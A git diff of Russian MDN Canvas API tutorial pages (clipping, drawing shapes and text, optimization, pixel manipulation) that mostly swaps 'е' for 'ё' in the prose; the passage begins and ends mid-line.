контура, чтобы ограничить рисование набора случайных звезд определенной областью.</p> +<p>В этом примере мы будем использовать круговую обрезку контура, чтобы ограничить рисование набора случайных звёзд определённой областью.</p> <pre class="brush: js;highlight[9]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); @@ -100,9 +100,9 @@ function drawStar(ctx, r) { <pre class="brush: js">draw();</pre> </div> -<p>В первых нескольких строках кода мы рисуем черный прямоугольник размером с холстом в качестве фона, а затем переводим начало координат в центр. Затем мы создаем круговой обтравочный контур, рисуя дугу и вызывающий <code>clip()</code>. Обрезанные контуры также являются частью состояния сохранения холста. Если бы мы хотели сохранить исходный обтравочный контур, мы могли бы сохранить состояние холста перед созданием нового.</p> +<p>В первых нескольких строках кода мы рисуем чёрный прямоугольник размером с холстом в качестве фона, а затем переводим начало координат в центр. Затем мы создаём круговой обтравочный контур, рисуя дугу и вызывающий <code>clip()</code>. Обрезанные контуры также являются частью состояния сохранения холста. Если бы мы хотели сохранить исходный обтравочный контур, мы могли бы сохранить состояние холста перед созданием нового.</p> -<p>Все, что нарисовано после создания отсеченного контура, появится только внутри этого пути. Вы можете видеть это четко в линейном градиенте, который нарисован далее. После этого набирается набор из 50 случайно расположенных и масштабированных звезд, используя <code>drawStar()</code>. Снова звезды появляются только в пределах определенного обтравочного контура.</p> +<p>Все, что нарисовано после создания отсечённого контура, появится только внутри этого пути. Вы можете видеть это чётко в линейном градиенте, который нарисован далее. После этого набирается набор из 50 случайно расположенных и масштабированных звёзд, используя <code>drawStar()</code>. Снова звезды появляются только в пределах определённого обтравочного контура.</p> <p>{{EmbedLiveSample("A_clip_example", "180", "180", "https://mdn.mozillademos.org/files/208/Canvas_clip.png")}}</p> diff --git a/files/ru/web/api/canvas_api/tutorial/drawing_shapes/index.html b/files/ru/web/api/canvas_api/tutorial/drawing_shapes/index.html index 30225ac786..83ef78542a 100644 --- a/files/ru/web/api/canvas_api/tutorial/drawing_shapes/index.html +++ b/files/ru/web/api/canvas_api/tutorial/drawing_shapes/index.html @@ -12,11 +12,11 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <h2 id="Сетка">Сетка</h2> -<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/224/Canvas_default_grid.png" style="float: right; height: 220px; width: 220px;">Перед тем, как мы начнем рисовать, нам нужно поговорить о сетке canvas или <strong>координатной плоскости</strong>. Наш HTML каркас из предыдущей страницы включал в себя элемент canvas 150 пикселей в ширину и 150 пикселей в высоту. Справа можно увидеть этот canvas <span class="short_text" id="result_box" lang="ru"><span class="hps">с сеткой</span><span>, накладываемой по умолчанию</span></span>. <span id="result_box" lang="ru"><span class="hps">Обычно 1 единица</span> <span class="hps">на сетке соответствует</span> <span class="hps">1 пикселю на</span></span> canvas. <span id="result_box" lang="ru"><span>Начало координат этой сетки</span> <span class="hps">расположено</span> <em><span class="hps">в верхнем левом</span> <span class="hps">углу</span></em> <span class="hps">в</span> <span class="atn hps">координате <code><em>(</em></code></span><span><code><em>0,0 )</em></code>.</span></span> <span id="result_box" lang="ru"><span class="hps">Все</span> <span class="hps">элементы размещены</span> <span class="hps">относительно</span> <span class="hps">этого</span> <span class="hps">начала</span><span>. </span><span class="hps">Так</span>им образом, <span class="hps">положение верхнего</span> <span class="hps">левого угла</span> <span class="hps">синего квадрата составляет</span> <code><em><span class="hps">х</span></em></code> <span class="hps">пикселей слева</span><span class="hps"> и</span> <code><em><span class="hps">у</span></em></code> <span class="hps">пикселей</span> <span class="hps">сверху,</span> <span class="hps">на</span> <span class="hps">координате <code><em>(х</em></code></span><span><code><em>, у)</em></code>.</span></span> <span id="result_box" lang="ru"><span class="hps">Позже в</span> <span class="hps">этом уроке мы</span> <span class="hps">увидим, как</span> <span class="hps">можно</span> <span class="hps">перевести</span> <span class="hps">начало координат</span> <span class="hps">в другое место</span><span>,</span> <span class="hps">вращать сетку</span> <span class="hps">и даже</span> <span class="hps">масштабировать ее</span><span>, но сейчас</span> <span class="hps">мы будем придерживаться</span> <span class="hps">настроек сетки по умолчанию.</span></span></p> +<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/224/Canvas_default_grid.png" style="float: right; height: 220px; width: 220px;">Перед тем, как мы начнём рисовать, нам нужно поговорить о сетке canvas или <strong>координатной плоскости</strong>. Наш HTML каркас из предыдущей страницы включал в себя элемент canvas 150 пикселей в ширину и 150 пикселей в высоту. Справа можно увидеть этот canvas <span class="short_text" id="result_box" lang="ru"><span class="hps">с сеткой</span><span>, накладываемой по умолчанию</span></span>. <span id="result_box" lang="ru"><span class="hps">Обычно 1 единица</span> <span class="hps">на сетке соответствует</span> <span class="hps">1 пикселю на</span></span> canvas. <span id="result_box" lang="ru"><span>Начало координат этой сетки</span> <span class="hps">расположено</span> <em><span class="hps">в верхнем левом</span> <span class="hps">углу</span></em> <span class="hps">в</span> <span class="atn hps">координате <code><em>(</em></code></span><span><code><em>0,0 )</em></code>.</span></span> <span id="result_box" lang="ru"><span class="hps">Все</span> <span class="hps">элементы размещены</span> <span class="hps">относительно</span> <span class="hps">этого</span> <span class="hps">начала</span><span>. </span><span class="hps">Так</span>им образом, <span class="hps">положение верхнего</span> <span class="hps">левого угла</span> <span class="hps">синего квадрата составляет</span> <code><em><span class="hps">х</span></em></code> <span class="hps">пикселей слева</span><span class="hps"> и</span> <code><em><span class="hps">у</span></em></code> <span class="hps">пикселей</span> <span class="hps">сверху,</span> <span class="hps">на</span> <span class="hps">координате <code><em>(х</em></code></span><span><code><em>, у)</em></code>.</span></span> <span id="result_box" lang="ru"><span class="hps">Позже в</span> <span class="hps">этом уроке мы</span> <span class="hps">увидим, как</span> <span class="hps">можно</span> <span class="hps">перевести</span> <span class="hps">начало координат</span> <span class="hps">в другое место</span><span>,</span> <span class="hps">вращать сетку</span> <span class="hps">и даже</span> <span class="hps">масштабировать её</span><span>, но сейчас</span> <span class="hps">мы будем придерживаться</span> <span class="hps">настроек сетки по умолчанию.</span></span></p> <h2 id="Рисование_прямоугольников">Рисование прямоугольников</h2> -<p>В отличие от {{Glossary("SVG")}}, {{HTMLElement("canvas")}} поддерживает только одну примитивную фигуру: прямоугольник. Все другие фигуры должны быть созданы комбинацией одного или большего количества контуров (paths), набором точек, соединенных в линии. К счастью в ассортименте рисования контуров у нас есть функции, которые делают возможным составление очень сложных фигур.</p> +<p>В отличие от {{Glossary("SVG")}}, {{HTMLElement("canvas")}} поддерживает только одну примитивную фигуру: прямоугольник. Все другие фигуры должны быть созданы комбинацией одного или большего количества контуров (paths), набором точек, соединённых в линии. К счастью в ассортименте рисования контуров у нас есть функции, которые делают возможным составление очень сложных фигур.</p> <p>Сначала рассмотрим прямоугольник. Ниже представлены три функции рисования прямоугольников в canvas:</p> @@ -29,7 +29,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <dd>Очистка прямоугольной области, делая содержимое совершенно прозрачным.</dd> </dl> -<p>Каждая из приведенных функций принимает несколько параметров: </p> +<p>Каждая из приведённых функций принимает несколько параметров: </p> <ul> <li><em>x</em>, <font face="Consolas, Liberation Mono, Courier, monospace"><em>y</em></font> устанавливают положение верхнего левого угла прямоугольника в canvas (относительно начала координат);</li> @@ -60,11 +60,11 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур } }</pre> -<p>Этот пример изображен ниже.</p> +<p>Этот пример изображён ниже.</p> <p>{{EmbedLiveSample("Пример_создания_прямоугольных_фигур", 160, 160, "https://mdn.mozillademos.org/files/245/Canvas_rect.png")}}</p> -<p>Функция fillRect() рисует большой чёрный квадрат со стороной 100 px. Функция clearRect() вырезает квадрат 60х60 из центра, а функция strokeRect() создает прямоугольный контур 50х50 пикселей внутри очищенного квадрата.</p> +<p>Функция fillRect() рисует большой чёрный квадрат со стороной 100 px. Функция clearRect() вырезает квадрат 60х60 из центра, а функция strokeRect() создаёт прямоугольный контур 50х50 пикселей внутри очищенного квадрата.</p> <p>На следующей странице мы рассмотрим две альтернативы методу clearRect(), и также увидим, как можно изменять цвет и стиль контура отображаемых фигур.</p> @@ -77,7 +77,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <p>Создание фигур используя контуры происходит в несколько важных шагов:</p> <ol> - <li>Сначала вы создаете контур.</li> + <li>Сначала вы создаёте контур.</li> <li>Затем, используя <a href="/en-US/docs/Web/API/CanvasRenderingContext2D#Paths">команды рисования</a>, рисуете контур.</li> <li>Потом закрываете контур.</li> <li>Созданный контур вы можете обвести или залить для его отображения.</li> @@ -87,7 +87,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <dl> <dt>{{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}}</dt> - <dd>Создает новый контур. После создания используется в дальнейшем командами рисования при построении контуров.</dd> + <dd>Создаёт новый контур. После создания используется в дальнейшем командами рисования при построении контуров.</dd> <dt><a href="/en-US/docs/Web/API/CanvasRenderingContext2D#Paths">Path методы</a></dt> <dd>Методы для установки различных контуров объекта.</dd> <dt>{{domxref("CanvasRenderingContext2D.closePath", "closePath()")}}</dt> @@ -195,12 +195,12 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <dl> <dt>{{domxref("CanvasRenderingContext2D.lineTo", "lineTo(x, y)")}}</dt> - <dd>Рисует линию с текущей позиции до позиции, определенной <code>x и y</code>.</dd> + <dd>Рисует линию с текущей позиции до позиции, определённой <code>x и y</code>.</dd> </dl> <p><span id="result_box" lang="ru"><span class="hps">Этот метод принимает</span> <span class="hps">два аргумента</span> </span><code><em>x</em><span lang="ru"><span class="hps"> и </span></span><em>y</em></code><span lang="ru"><span>, которые являются</span> <span class="hps">координатами конечной</span> <span class="hps">точки линии</span><span>.</span></span> <span id="result_box" lang="ru"><span>Начальная точка зависит</span> <span class="hps">от</span> <span class="hps">ранее</span> <span class="hps">нарисованных путей, причём</span> <span class="hps">конечная точка</span> <span class="hps">предыдущего пути является</span> начальной <span class="hps">точкой следующего</span> <span class="hps">и т. д.</span> <span class="hps">Начальная точка также</span> <span class="hps">может быть изменена</span> <span class="hps">с помощью метода</span></span> <code>moveTo()</code>.</p> -<p>Пример ниже рисует два треугольника, один закрашенный и другой обведен контуром.</p> +<p>Пример ниже рисует два треугольника, один закрашенный и другой обведён контуром.</p> <div class="hidden"> <pre class="brush: html notranslate"><html> @@ -238,7 +238,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <p>{{EmbedLiveSample("Линии", 160, 160, "https://mdn.mozillademos.org/files/238/Canvas_lineTo.png")}}</p> -<p><span id="result_box" lang="ru"><span class="hps">Вы заметите</span> <span class="hps">разницу между</span> <span class="hps">закрашенным</span> <span class="hps">и обведенным контуром</span> <span class="hps">треугольниками.</span> <span class="hps">Это, </span><span class="hps">как упоминалось выше</span><span>,</span> <span class="hps">из-за</span> того, что <span class="hps">фигуры</span> <span class="hps">автоматически закрываются</span><span>, когда</span> <span class="hps">путь</span> <span class="hps">заполнен (т. е. закрашен)</span><span>, но</span> <span class="hps">не тогда, когда</span> <span class="hps">он очерчен (т. е. обведен контуром)</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Если бы мы</span> <span class="hps">не учли</span> </span><code>closePath()</code><span lang="ru"> <span class="hps">для</span> очерченного <span class="hps">треугольника</span><span>,</span> тогда <span class="hps">только две линии</span> <span class="hps">были бы</span> <span class="hps">нарисованы,</span> <span class="hps">а не</span> <span class="hps">весь треугольник</span><span>.</span></span></p> +<p><span id="result_box" lang="ru"><span class="hps">Вы заметите</span> <span class="hps">разницу между</span> <span class="hps">закрашенным</span> <span class="hps">и обведённым контуром</span> <span class="hps">треугольниками.</span> <span class="hps">Это, </span><span class="hps">как упоминалось выше</span><span>,</span> <span class="hps">из-за</span> того, что <span class="hps">фигуры</span> <span class="hps">автоматически закрываются</span><span>, когда</span> <span class="hps">путь</span> <span class="hps">заполнен (т. е. закрашен)</span><span>, но</span> <span class="hps">не тогда, когда</span> <span class="hps">он очерчен (т. е. обведён контуром)</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Если бы мы</span> <span class="hps">не учли</span> </span><code>closePath()</code><span lang="ru"> <span class="hps">для</span> очерченного <span class="hps">треугольника</span><span>,</span> тогда <span class="hps">только две линии</span> <span class="hps">были бы</span> <span class="hps">нарисованы,</span> <span class="hps">а не</span> <span class="hps">весь треугольник</span><span>.</span></span></p> <h3 id="Дуги">Дуги</h3> @@ -251,7 +251,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <dd>Рисуем дугу с заданными контрольными точками и радиусом, соединяя эти точки прямой линией.</dd> </dl> -<p>Рассмотрим детальнее метод <em>arc()</em>, который имеет пять параметров: <em><code>x</code></em> и <em><code>y</code></em> — это координаты центра окружности, в которой должна быть нарисована дуга. <em><code>radius</code></em> — не требует пояснений. Углы <code>startAngle</code> и <code>endAngle</code> определяют начальную и конечную точки дуги в радианах вдоль кривой окружности. Отсчет происходит от оси x. Параметр <code>anticlockwise</code> — логическое значение, которое, если <code>true</code>, то рисование дуги совершается против хода часовой стрелки; иначе рисование происходит по ходу часовой стрелки.</p> +<p>Рассмотрим детальнее метод <em>arc()</em>, который имеет пять параметров: <em><code>x</code></em> и <em><code>y</code></em> — это координаты центра окружности, в которой должна быть нарисована дуга. <em><code>radius</code></em> — не требует пояснений. Углы <code>startAngle</code> и <code>endAngle</code> определяют начальную и конечную точки дуги в радианах вдоль кривой окружности. Отсчёт происходит от оси x. Параметр <code>anticlockwise</code> — логическое значение, которое, если <code>true</code>, то рисование дуги совершается против хода часовой стрелки; иначе рисование происходит по ходу часовой стрелки.</p> <div class="note"> <p><strong>Note</strong>: Углы в функции arc() измеряют в радианах, не в градусах. Для перевода градусов в радианы вы можете использовать JavaScript-выражение: <code>radians = (Math.PI/180)*degrees</code>.</p> @@ -263,7 +263,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <p>Координаты <code>x</code> и <code>y</code> должны быть достаточно ясны. <code>radius</code> and <code>startAngle</code> — фиксированы. <code>endAngle</code> начинается со 180 градусов (полуокружность) в первой колонке и, увеличиваясь с шагом 90 градусов, достигает кульминации полноценной окружностью в последнем столбце.</p> -<p>Установка параметра <code>clockwise</code> определяет результат; в первой и третьей строках рисование дуг происходит по часовой стрелке, а во второй и четвертой - против часовой стрелки. Благодаря if-условию верхняя половина дуг образуется с контуром, (обводкой), а нижняя половина дуг - с заливкой.</p> +<p>Установка параметра <code>clockwise</code> определяет результат; в первой и третьей строках рисование дуг происходит по часовой стрелке, а во второй и четвёртой - против часовой стрелки. Благодаря if-условию верхняя половина дуг образуется с контуром, (обводкой), а нижняя половина дуг - с заливкой.</p> <div class="note"> <p><strong>Note:</strong> Этот пример требует немного большего холста (canvas), чем другие на этой странице: 150 x 200 pixels.</p> @@ -319,13 +319,13 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <dd>Рисуется кубическая кривая Безье с текущей позиции пера в конечную точку с координатами <code>x</code> и <code>y</code>, используя две контрольные точки с координатами (<code>cp1x</code>, <code>cp1y</code>) и (cp2x, cp2y).</dd> </dl> -<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/223/Canvas_curves.png" style="float: right; height: 190px; width: 190px;">Различие между ними можно увидеть на рисунке, изображенном справа. Квадратичная кривая Безье имеет стартовую и конечную точки (синие точки) и всего одну контрольную точку (красная точка), в то время как кубическая кривая Безье использует две контрольные точки.</p> +<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/223/Canvas_curves.png" style="float: right; height: 190px; width: 190px;">Различие между ними можно увидеть на рисунке, изображённом справа. Квадратичная кривая Безье имеет стартовую и конечную точки (синие точки) и всего одну контрольную точку (красная точка), в то время как кубическая кривая Безье использует две контрольные точки.</p> <p>Параметры <code>x</code> и <code>y</code> в этих двух методах являются координатами конечной точки. <code>cp1x</code> и <code>cp1y</code> — координаты первой контрольной точки, а <code>cp2x</code> и <code>cp2y</code> — координаты второй контрольной точки.</p> <p>Использование квадратичных или кубических кривых Безье может быть спорным выходом, так как в отличие от приложений векторной графики типа Adobe Illustrator, мы не имеем полной видимой обратной связи с тем, что мы делаем. Этот факт делает довольно сложным процесс рисования сложных фигур. В следующем примере мы нарисуем совсем простую составную фигуру, но, если у вас есть время и ещё больше терпения, можно создать более сложные составные фигуры.</p> -<p>В этом примере нет ничего слишком тяжелого. В обоих случаях мы видим последовательность кривых, рисуя которые, в результате получим составную фигуру.</p> +<p>В этом примере нет ничего слишком тяжёлого. В обоих случаях мы видим последовательность кривых, рисуя которые, в результате получим составную фигуру.</p> <h4 id="Квадратичные_кривые_Безье">Квадратичные кривые Безье</h4> @@ -513,7 +513,7 @@ function roundedRect(ctx,x,y,width,height,radius){ <p>Мы не будем подробно останавливаться на том, так как это на самом деле удивительно просто. Наиболее важные вещи, которые следует отметить, это использование свойства <code>fillStyle</code> в контексте рисования и использование функции утилиты (в данном случае <code>roundedRect()</code>). Использование функций утилиты для битов чертежа часто может быть очень полезным и сократить количество необходимого кода, а также его сложность.</p> -<p>Позже, в этом уроке, мы еще раз рассмотрим <code>fillStyle</code>, но более подробно. Здесь же мы используем его для изменения цвета заливки путей вместо цвета по умолчанию от черного до белого, а затем обратно.</p> +<p>Позже, в этом уроке, мы ещё раз рассмотрим <code>fillStyle</code>, но более подробно. Здесь же мы используем его для изменения цвета заливки путей вместо цвета по умолчанию от чёрного до белого, а затем обратно.</p> <h2 id="Path2D_объекты">Path2D объекты</h2> @@ -522,7 +522,7 @@ function roundedRect(ctx,x,y,width,height,radius){ <dl> <dt>{{domxref("Path2D.Path2D", "Path2D()")}}</dt> - <dd>Конструктор <code><strong>Path2D()</strong></code> возвращает вновь созданный объект <code>Path2D</code> необязательно с другим путем в качестве аргумента (создает копию) или необязательно со строкой, состоящей из данных пути <a href="/en-US/docs/Web/SVG/Tutorial/Paths">SVG path</a> .</dd> + <dd>Конструктор <code><strong>Path2D()</strong></code> возвращает вновь созданный объект <code>Path2D</code> необязательно с другим путём в качестве аргумента (создаёт копию) или необязательно со строкой, состоящей из данных пути <a href="/en-US/docs/Web/SVG/Tutorial/Paths">SVG path</a> .</dd> </dl> <pre class="brush: js notranslate">new Path2D(); // пустой path объект @@ -540,7 +540,7 @@ new Path2D(d); // path из SVG</pre> <h3 id="Path2D_пример">Path2D пример</h3> -<p>В этом примере мы создаем прямоугольник и круг. Оба они сохраняются как объект <code>Path2D</code>, поэтому они доступны для последующего использования. С новым API <code>Path2D</code> несколько методов были обновлены, чтобы при необходимости принять объект <code>Path2D</code> для использования вместо текущего пути. Здесь <code>stroke</code> и <code>fill</code> используются с аргументом пути, например, для рисования обоих объектов на холст.</p> +<p>В этом примере мы создаём прямоугольник и круг. Оба они сохраняются как объект <code>Path2D</code>, поэтому они доступны для последующего использования. С новым API <code>Path2D</code> несколько методов были обновлены, чтобы при необходимости принять объект <code>Path2D</code> для использования вместо текущего пути. Здесь <code>stroke</code> и <code>fill</code> используются с аргументом пути, например, для рисования обоих объектов на холст.</p> <div class="hidden"> <pre class="brush: html notranslate"><html> @@ -573,7 +573,7 @@ new Path2D(d); // path из SVG</pre> <h3 id="Использование_SVG_путей">Использование SVG путей</h3> -<p>Еще одна мощная функция нового Canvas <code>Path2D</code> API использует данные пути SVG, <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Tutorial/Paths">SVG path data</a>, для инициализации путей на вашем холсте. Это может позволить вам передавать данные пути и повторно использовать их как в SVG, так и в холсте.</p> +<p>Ещё одна мощная функция нового Canvas <code>Path2D</code> API использует данные пути SVG, <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Tutorial/Paths">SVG path data</a>, для инициализации путей на вашем холсте. Это может позволить вам передавать данные пути и повторно использовать их как в SVG, так и в холсте.</p> <p>Путь перемещается в точку (<code>M10 10</code>), а затем горизонтально перемещается на 80 пунктов вправо (<code>h 80</code>), затем на 80 пунктов вниз (<code>v 80</code>), затем на 80 пунктов влево (<code>h -80</code>), а затем обратно на start (<code>z</code>). <br> Этот пример можно увидеть на странице <a href="/en-US/docs/Web/API/Path2D.Path2D#Using_SVG_paths"><code>Path2D</code> constructor</a>.</p> diff --git a/files/ru/web/api/canvas_api/tutorial/drawing_text/index.html b/files/ru/web/api/canvas_api/tutorial/drawing_text/index.html index 226dfc1e21..e33d9080b4 100644 --- a/files/ru/web/api/canvas_api/tutorial/drawing_text/index.html +++ b/files/ru/web/api/canvas_api/tutorial/drawing_text/index.html @@ -65,7 +65,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_текста <h2 id="Стилизация_текста">Стилизация текста</h2> -<p>В примерах выше мы уже использовали свойство font для изменения размера текста. Кроме него существуют еще несколько свойств, позволяющие настроить вывод текста на canvas:</p> +<p>В примерах выше мы уже использовали свойство font для изменения размера текста. Кроме него существуют ещё несколько свойств, позволяющие настроить вывод текста на canvas:</p> <dl> <dt>{{domxref("CanvasRenderingContext2D.font", "font = value")}}</dt> diff --git a/files/ru/web/api/canvas_api/tutorial/index.html b/files/ru/web/api/canvas_api/tutorial/index.html index 3d6a7e259a..3a01a141e0 100644 --- a/files/ru/web/api/canvas_api/tutorial/index.html +++ b/files/ru/web/api/canvas_api/tutorial/index.html @@ -12,13 +12,13 @@ translation_of: Web/API/Canvas_API/Tutorial Изображения в правой части статьи являются примерами использования <code><a href="/ru/docs/Web/HTML/Element/canvas"><canvas></a>.</code><br> Примеры их создания приводятся в этой статье. </p> -<p>В этом руководстве описываются основы использования элемента <code><canvas></code> для рисования 2D-графики. Приведенные примеры дадут вам понимание того, что вы можете сделать с помощью <canvas>, а использованные в статье фрагменты кода помогут в создании собственных проектов.</p> +<p>В этом руководстве описываются основы использования элемента <code><canvas></code> для рисования 2D-графики. Приведённые примеры дадут вам понимание того, что вы можете сделать с помощью <canvas>, а использованные в статье фрагменты кода помогут в создании собственных проектов.</p> <p><code>Впервые <canvas></code> использовался компанией Apple для создания <a href="https://ru.wikipedia.org/wiki/Dashboard">Mac OS X Dashboard</a>, а затем был реализован в Web-браузерах. На сегодняшний день все основные браузеры поддерживают работу с <canvas>. Тег <code><canvas></code> часть спецификации <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/">WhatWG Web applications 1.0</a> также известной как HTML5.</p> <h2 id="Before_you_start" name="Before_you_start">Прежде чем начать</h2> -<p>Работа с элементом <strong><code><canvas></code></strong> довольно проста, но потребует от вас базовых знаний <a href="ru/docs/HTML" title="HTML">HTML</a> и <a href="JavaScript" title="JavaScript">JavaScript</a>. Следует предупредить о том, что элемент <code><<strong>canvas></strong></code> не работает в некоторых старых браузерах, но поддерживается большинством современных браузеров. Стандартный размер <strong><code><canvas></code></strong> 300px × 150px (ширина × высота), однако эти размеры могут быть изменены при помощи HTML-атрибутов <code>height</code> и <code>width</code>. Для рисования графики <strong><code><canvas></code></strong> мы будем использовать <code>javascript context object</code>, который создает графику динамически.</p> +<p>Работа с элементом <strong><code><canvas></code></strong> довольно проста, но потребует от вас базовых знаний <a href="ru/docs/HTML" title="HTML">HTML</a> и <a href="JavaScript" title="JavaScript">JavaScript</a>. Следует предупредить о том, что элемент <code><<strong>canvas></strong></code> не работает в некоторых старых браузерах, но поддерживается большинством современных браузеров. Стандартный размер <strong><code><canvas></code></strong> 300px × 150px (ширина × высота), однако эти размеры могут быть изменены при помощи HTML-атрибутов <code>height</code> и <code>width</code>. Для рисования графики <strong><code><canvas></code></strong> мы будем использовать <code>javascript context object</code>, который создаёт графику динамически.</p> <h2 id="In_this_tutorial" name="In_this_tutorial">В этом руководстве</h2> diff --git a/files/ru/web/api/canvas_api/tutorial/optimizing_canvas/index.html b/files/ru/web/api/canvas_api/tutorial/optimizing_canvas/index.html index 40a83917e8..74b0c60df0 100644 --- a/files/ru/web/api/canvas_api/tutorial/optimizing_canvas/index.html +++ b/files/ru/web/api/canvas_api/tutorial/optimizing_canvas/index.html @@ -20,7 +20,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Optimizing_canvas <h2 id="Советы_по_производительности">Советы по производительности</h2> -<p>Ниже приведен сборник советов по улучшению производительности canvas.</p> +<p>Ниже приведён сборник советов по улучшению производительности canvas.</p> <h3 id="Предварительно_отрисуйте_похожие_примитивы_или_повторяющиеся_объекты_на_offscreen_canvas">Предварительно отрисуйте похожие примитивы или повторяющиеся объекты на offscreen canvas</h3> @@ -46,7 +46,7 @@ myCanvas.getContext('2d').drawImage(myCanvas.offScreenCanvas, 0, 0); <p>При загрузке кэшируйте изображения разных размеров на offscreen canvas, а не постоянно масштабируйте их в {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}.</p> -<h3 id="Используйте_несколько_слоев_canvas_для_сложных_сцен">Используйте несколько слоев canvas для сложных сцен</h3> +<h3 id="Используйте_несколько_слоёв_canvas_для_сложных_сцен">Используйте несколько слоёв canvas для сложных сцен</h3> <p>Вы можете обнаружить, что некоторые объекты в вашем приложении нужно часто перемещать или менять, в то время как другие остаются относительно статичными. Возможной оптимизацией в этой ситуации является наложение ваших элементов с использованием нескольких элементов <code><canvas></code>.</p> @@ -75,7 +75,7 @@ myCanvas.getContext('2d').drawImage(myCanvas.offScreenCanvas, 0, 0); <h3 id="Используйте_простой_CSS_для_больших_фоновых_изображений">Используйте простой CSS для больших фоновых изображений</h3> -<p>Если у вас есть статическое фоновое изображение, вы можете нарисовать его на простом элементе {{HTMLElement("div")}}, используя свойство CSS {{cssxref("background")}}, и расположить его под canvas. Это сведет на нет необходимость рендеринга фона на canvas на каждом тике.</p> +<p>Если у вас есть статическое фоновое изображение, вы можете нарисовать его на простом элементе {{HTMLElement("div")}}, используя свойство CSS {{cssxref("background")}}, и расположить его под canvas. Это сведёт на нет необходимость рендеринга фона на canvas на каждом тике.</p> <h3 id="Масштабирование_холста_с_использованием_CSS-преобразований">Масштабирование холста с использованием CSS-преобразований</h3> @@ -107,7 +107,7 @@ stage.style.transform = 'scale(' + scaleToFit + ')'; <li>Избегайте <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_text">рендеринга текста</a>, когда это возможно.</li> <li>Попробуйте разные способы очистки canvas (({{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}}, или {{domxref("CanvasRenderingContext2D.fillRect", "fillRect()")}}, или изменение размера canvas).</li> <li>С анимациями используйте {{domxref("window.requestAnimationFrame()")}} вместо {{domxref("window.setInterval()")}}.</li> - <li>Будьте осторожны с тяжелыми физическими библиотеками.</li> + <li>Будьте осторожны с тяжёлыми физическими библиотеками.</li> </ul> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html b/files/ru/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html index 8b8653a9b3..67b81c9b63 100644 --- a/files/ru/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html +++ b/files/ru/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html @@ -27,7 +27,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas <dd>A {{jsxref ("Uint8ClampedArray")}} представляет собой одномерный массив, содержащий данные в порядке RGBA, с целыми значениями от <code>0</code> до <code>255</code> (в комплекте).</dd> </dl> -<p>Свойство <code>data</code> возвращает {{jsxref ("Uint8ClampedArray")}}, к которому можно получить доступ, чтобы посмотреть на необработанные пиксельные данные; каждый пиксель представлен четырьмя однобайтовыми значениями (красный, зеленый, синий и альфа в этом порядке, то есть формат «RGBA»). Каждый компонент цвета представлен целым числом от 0 до 255. Каждому компоненту присваивается последовательный индекс внутри массива, причем красный компонент верхнего левого пикселя находится в индексе 0 внутри массива. Затем пиксели идут слева направо, затем вниз, по всему массиву.</p> +<p>Свойство <code>data</code> возвращает {{jsxref ("Uint8ClampedArray")}}, к которому можно получить доступ, чтобы посмотреть на необработанные пиксельные данные; каждый пиксель представлен четырьмя однобайтовыми значениями (красный, зелёный, синий и альфа в этом порядке, то есть формат «RGBA»). Каждый компонент цвета представлен целым числом от 0 до 255. Каждому компоненту присваивается последовательный индекс внутри массива, причём красный компонент верхнего левого пикселя находится в индексе 0 внутри массива. Затем пиксели идут слева направо, затем вниз, по всему массиву.</p> <p>{{Jsxref ("Uint8ClampedArray")}} содержит высоту × ширину × 4 байта данных, значения индекса варьируются от 0 до (высота × ширина × 4) -1.</p> @@ -46,7 +46,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas <pre class="brush: js">var myImageData = ctx.createImageData(width, height);</pre> -<p>Это создает новый объект <code>ImageData</code> с указанными параметрами. Все пиксели заданы прозрачным черным.</p> +<p>Это создаёт новый объект <code>ImageData</code> с указанными параметрами. Все пиксели заданы прозрачным черным.</p> <p>Вы также можете создать новый объект <code>ImageData</code> ImageData с теми же размерами, что и объект, заданный <code>anotherImageData</code> . Все пиксели нового объекта установлены на прозрачный черный. <strong>Это не копирует данные изображения!</strong></p> @@ -61,7 +61,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas <p>Этот метод возвращает объект <code>ImageData</code> , представляющий пиксельные данные для области холста, углы которого представлены точками (<code>left</code> , <code>top</code>), (<code>left+width</code> , <code>top</code>), (<code>left</code> , <code>top+height</code>) и (<code>left+width</code> , <code>top+height</code>). Координаты задаются в единицах пространства координат холста.</p> <div class="note"> -<p><strong>Примечание:</strong> Любые пиксели за пределами холста возвращаются как прозрачный черный цвет в результирующий объект <code>ImageData</code> .</p> +<p><strong>Примечание:</strong> Любые пиксели за пределами холста возвращаются как прозрачный чёрный цвет в результирующий объект <code>ImageData</code> .</p> </div> <p>Этот метод также показан в статье <a 